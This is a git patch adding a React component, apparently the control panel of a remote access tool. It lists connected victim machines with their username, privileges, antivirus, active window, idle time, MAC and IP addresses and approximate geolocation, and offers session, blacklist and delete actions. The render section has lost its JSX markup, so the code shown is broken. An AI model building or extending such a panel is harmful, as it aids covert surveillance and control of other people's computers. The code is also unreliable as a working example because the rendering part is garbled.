From 58ebd3bc0f00c532e97e9a5571471ffab87934ba Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 10:39:49 +0200 Subject: GOD-VIEW --- server/web/src/components/Server.tsx | 571 +++++++++++++++++++++++++++++++++++ 1 file changed, 571 insertions(+) create mode 100644 server/web/src/components/Server.tsx (limited to 'server/web/src/components/Server.tsx') diff --git a/server/web/src/components/Server.tsx b/server/web/src/components/Server.tsx new file mode 100644 index 0000000..c581cf6 --- /dev/null +++ b/server/web/src/components/Server.tsx @@ -0,0 +1,571 @@ +import { IProps, IState } from '../interfaces/components/Server.interface'; +import { clientsLoad, sessionLoad } from '../redux/actions'; +import { IClient } from '../interfaces/Client.interface'; +import React, { Component, Fragment } from 'react'; +import { connect } from 'react-redux'; +import Sidebar from './Sidebar'; +import Footer from './Footer'; +import Select from './Select'; +import { + ServerTable, + ServerTableHead, + ServerTableBody, + ServerTableRow, + ServerTableHeader, + ServerTableData, + ServerTableImage, + ServerTableBarBg, + ServerTableBar, + ServerBlock +} from '../design/components/Server.design'; + +class Server extends Component { + tableBody: any = React.createRef(); + touchStartMenuTimestamp = 0; + touchEndMenuTimestamp = 0; + lastSelected: any = null; + // CONSTANT : assumes these are + // the same on the server side + displayKeys = [ + 'Row', + 'Country', + 'Connect IP', + 'Unique ID', + 'Username', + 'Hostname', + 'Privileges', + 'Antivirus', + 'Operating System', + 'CPU', + 'GPU', + 'RAM', + 'Active Window', + 'Idle Time', + 'Resource Usage' + ] + displayValues = [ + 'username', + 'hostname', + 'privileges', + 'antivirus', + 'operating_system', + 'cpu', + 'gpu', + 'ram' + ] + hiddenKeys = [ + 'Initial Connect', + 'Filepath', + 'Running', + 'Build Name', + 'Build Version', + 'OS Version', + 'System Locale', + 'System Uptime', + 'PC Manufacturer', + 'PC Model', + 'MAC Address', + 'External IP', + 'Local IP', + 'Timezone', + 'Country Code', + 'Region', + '~City', + '~Zip Code', + '~Latitude', + '~Longitude' + ] + hiddenValues = [ + 'initial_connect', + 'filepath', + 'running', + 'build_name', + 'build_version', + 'os_version', + 'system_locale', + 'system_uptime', + 'pc_manufacturer', + 'pc_model', + 'mac_address', + 'external_ip', + 'local_ip', + 'timezone', + 'country_code', + 'region', + 'city', + 'zip_code', + 'latitude', + 'longitude' + ] + + constructor(props: IProps) { + super(props); + + this.state = { + selectData: { show: false }, + clients: props.clients, + session: props.session + }; + } + + componentDidMount() { + const { clientsLoad, sessionLoad } = this.props; + + window.addEventListener('click', () => { + this.setState({ selectData: { show: false } }); + this.clearSelected(); + }); + + window.eel.clients_eel()((clients: Map) => + window.eel.session_eel()((session: Set) => { + clientsLoad(clients); + sessionLoad(session); + }) + ); + } + + sessionAdd = () => { + const selected = this.allSelected('unique-id'); + const length = selected.length; + + if (length > 0) { + window.eel.execute_eel({ + message: 'session', + id: selected.join(','), + })((response: string) => console.log(response)); + window.showAlert({ + message: `Client${this.plural(selected)} Added To Session`, + type: 'SUCCESS', + }); + } else this.selectMenuError(); + }; + + sessionRemove = () => { + const selected = this.allSelected('unique-id'); + const length = selected.length; + + if (length > 0) { + window.eel.execute_eel({ + message: 'session', + id: selected.join(','), + remove: true, + })((response: string) => console.log(response)); + window.showAlert({ + message: `Client${this.plural(selected)} Removed From Session`, + type: 'SUCCESS', + }); + } else this.selectMenuError(); + }; + + blacklistAdd = () => { + const selected = this.allSelected('connect-ip'); + const length = selected.length; + + if (length > 0) { + window.eel.execute_eel({ + message: 'blacklist', + add: selected.join(','), + })((response: string) => console.log(response)); + window.showAlert({ + message: `Blacklist Address${this.plural(selected, 'es')} Added`, + type: 'SUCCESS', + }); + } else this.selectMenuError(); + }; + + blacklistRemove = () => { + const selected = this.allSelected('connect-ip'); + const length = selected.length; + + if (length > 0) { + window.eel.execute_eel({ + message: 'blacklist', + remove: selected.join(','), + })((response: string) => console.log(response)); + window.showAlert({ + message: `Blacklist Address${this.plural(selected, 'es')} Removed`, + type: 'SUCCESS', + }); + } else this.selectMenuError(); + }; + + clientRemove = () => { + const selected = this.allSelected('unique-id'); + const length = selected.length; + + if (length > 0) { + window.eel.execute_eel({ + message: 'delete', + id: selected.join(','), + })((response: string) => console.log(response)); + window.showAlert({ + message: `Client${this.plural(selected)} Removed`, + type: 'SUCCESS', + }); + } else this.selectMenuError(); + }; + + clipboard = (data: string) => (event: any) => { + if (event.altKey) { + if (window.isSecureContext) { + window.navigator.clipboard.writeText(data); + window.showAlert({ + message: 'Field Copied To Clipboard', + type: 'SUCCESS' + }); + } else + window.showAlert({ + message: 'Clipboard Failed', + type: 'DANGER', + }); + + event.stopPropagation(); + event.preventDefault(); + } + }; + + selectMenuError = () => window.showAlert({ + message: 'Select Menu Error', + type: 'DANGER', + }); + + plural = (array: string[], end = 's') => + array.length === 1 ? '' : end; + + errorFlag = (event: any) => + // CONSTANT : placeholder flag name + event.currentTarget.src = './static/flags/placeholder.png'; + + properties = (client: IClient) => { + let result: string[] | string = []; + + for (let i = 0; i < this.hiddenValues.length; i++) { + const value = (client as any)[this.hiddenValues[i]]; + const key = this.hiddenKeys[i]; + result.push(`${key}: ${value}`); + } + + return this.propertiesResult(result.join('\n')); + }; + + propertiesResult = (result: string) => ({ + onContextMenu: this.clipboard(result), + title: result + }); + + menu = (event: any) => + this.isSelected(event.currentTarget) && + this.setState({ + selectData: { + show: true, + // CONSTANT : when to swap menu horizontally (right to left) + left: + window.innerWidth - event.clientX < 165 + ? event.clientX - 136 + : event.clientX, + // CONSTANT : when to swap menu vertically (bottom to top) + top: + window.innerHeight - event.clientY < 165 + ? event.clientY - 150 + : event.clientY, + sessionAdd: this.sessionAdd, + sessionRemove: this.sessionRemove, + blacklistAdd: this.blacklistAdd, + blacklistRemove: this.blacklistRemove, + clientRemove: this.clientRemove + }, + }); + + touchStartMenu = (event: any) => + (this.touchStartMenuTimestamp = event.timeStamp); + + touchEndMenu = (event: any) => { + this.touchEndMenuTimestamp = event.timeStamp; + // CONSTANT : hold down touch time + this.touchEndMenuTimestamp - this.touchStartMenuTimestamp > 300 && + this.menu(event); + }; + + select = (event: any) => { + this.setState({ selectData: { show: false } }); + const current = event.currentTarget; + + if (event.ctrlKey) { + if (this.isSelected(current)) { + this.removeSelected(current); + this.lastSelected = null; + } else { + this.addSelected(current); + this.lastSelected = current; + } + } else if (event.shiftKey) { + const rows = this.tableBody.current.rows; + let currentPosition = 0; + let latestPosition = 0; + + for (let i = 0; i < rows.length; i++) + if (rows[i] === current) currentPosition = i; + else if (rows[i] === this.lastSelected) latestPosition = i; + + this.rangeSelect(rows, currentPosition, latestPosition); + } else this.singleSelect(current); + + event.stopPropagation(); + }; + + singleSelect = (row: any) => { + const rows = this.tableBody.current.rows; + let currentSelected = false, + otherSelected = false; + + for (let i = 0; i < rows.length; i++) + if (rows[i] !== row) { + if (this.isSelected(rows[i])) { + if (!otherSelected) otherSelected = true; + this.removeSelected(rows[i]); + } + } else if (this.isSelected(row)) currentSelected = true; + + if (currentSelected && !otherSelected) { + this.removeSelected(row); + this.lastSelected = null; + } else { + this.addSelected(row); + this.lastSelected = row; + } + }; + + rangeSelect = (rows: any, start: number, end: number) => { + if (this.lastSelected !== rows[start]) { + if (start > end) { + let n = start; + start = end; + end = n; + } + + for (let i = 0; i < rows.length; i++) + if (i >= start && i <= end) { + if (!this.isSelected(rows[i])) this.addSelected(rows[i]); + } else if (this.isSelected(rows[i])) this.removeSelected(rows[i]); + } else this.singleSelect(this.lastSelected); + }; + + allSelected = (dataAttribute: string) => { + let result = []; + + if (this.tableBody.current !== null) { + const rows = this.tableBody.current.rows; + + for (let i = 0; i < rows.length; i++) + if (this.isSelected(rows[i])) + result.push(rows[i].getAttribute(`data-${dataAttribute}`)); + } + + return result; + }; + + clearSelected = () => { + if (this.tableBody.current !== null) { + const rows = this.tableBody.current.rows; + this.lastSelected = null; + + for (let i = 0; i < rows.length; i++) + if (this.isSelected(rows[i])) this.removeSelected(rows[i]); + } + }; + + addSelected = (row: any) => { + row.setAttribute('data-selected', ''); + row.style.backgroundColor = 'rgb(0, 40, 80)'; + }; + + removeSelected = (row: any) => { + row.removeAttribute('data-selected'); + row.removeAttribute('style'); + }; + + isSelected = (row: any) => row.hasAttribute('data-selected'); + + render() { + const { clients, session } = this.props; + const { selectData } = this.state; + + return ( + + {clients.size > 0 ? ( + + + + {this.displayKeys.map((category: string, index: number) => ( + + {category} + + ))} + + + + {Array.from(clients.entries()).map(([unique_id, client]: [string, IClient], row: number) => ( + + + {row + 1} + + + + + + {client.country} + + + + + {client.connect_ip} + + + + {unique_id} + + + {this.displayValues.map( + (displayValue: string, column: number) => ( + + {(client as any)[displayValue]} + + ) + )} + + + {client.active_window ? client.active_window : '...'} + + + + {client.idle_time ? client.idle_time : '...'} + + + + {client.resource_usage ? ( + // CONSTANT : cpu/ram + client.resource_usage + .split('/') + .map((bar: string) => ( + + + + )) + ) : '...'} + + + ))} + + + ) : ( + No Clients Connected + )} + +